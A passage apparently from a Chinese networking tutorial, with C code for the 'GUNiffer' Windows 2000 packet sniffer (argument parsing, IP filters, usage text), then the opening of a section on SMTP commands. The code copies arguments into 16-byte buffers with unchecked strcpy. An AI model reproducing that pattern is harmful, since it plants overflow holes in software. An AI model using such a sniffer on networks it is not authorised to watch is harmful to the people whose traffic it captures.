CMD_PARAM_HELP;for(int i=1;i<argc;i++){if(argv[i][0]!='/') return CMD_PARAM_HELP;else switch (argv[i][1]){case 't':case 'T': ParamTcp=true; break;case 'u':case 'U': ParamUdp=true; break;case 'i':case 'I': ParamIcmp=true; break;case 'p':case 'P': ParamDecode=true; break;case 'f':case 'F':{strFromIpFilter=(char*)malloc(16*sizeof(char)); memset(strFromIpFilter,0,16*sizeof(char));strcpy(strFromIpFilter,argv[i]+3);break;}case 'd':case 'D':{strDestIpFilter=(char*)malloc(16*sizeof(char)); memset(strDestIpFilter,0,16*sizeof(char));strcpy(strDestIpFilter,argv[i]+3);break;}}}printf("\nWill Sniffer");if(ParamTcp) printf(" TCP");if(ParamUdp) printf(" Udp");if(ParamIcmp) printf(" ICMP");if(strFromIpFilter) printf(" FromIp:%s",strFromIpFilter); if(strDestIpFilter) printf(" DestIp:%s",strDestIpFilter); printf("\n\tCTRL+C to quit\nStart:\n");return (!CMD_PARAM_HELP);}//使用说明void usage(void){printf("GUNiffer\n");printf("\tSinffer for Win2K By Shotgun (Ver 0.2)\n");printf("\tShotgun@\n");printf("\t\n");printf("\t\n\n");printf("USAGE:\n");printf("\t/t Output TCP Packets\n");printf("\t/u Output UDP Packets\n");printf("\t/i Output ICMP Packets\n");printf("\t/p Decode Packets (default OFF)\n");printf("\t/f: fromIP Output Packets FromIp=fromIP (default ALL)\n"); printf("\t/d: destIP Output Packets DestIp=destIP (default ALL)"); printf("\nExample:\n");printf("\tGUNiffer.exe /d>IpPack.log\n");printf("\tGUNiffer.exe /t /u /f:192.168.15.231\n");}3、SMTP协议原始命令码和工作原理1.SMTP是工作在两种情况下:一是电子邮件从客户机传输到服务器;二是从某一个服务器传输到另一个服务器2.SMTP是个请求/响应协议,命令和响应都是基于ASCII文本,并以CR和LF符结束。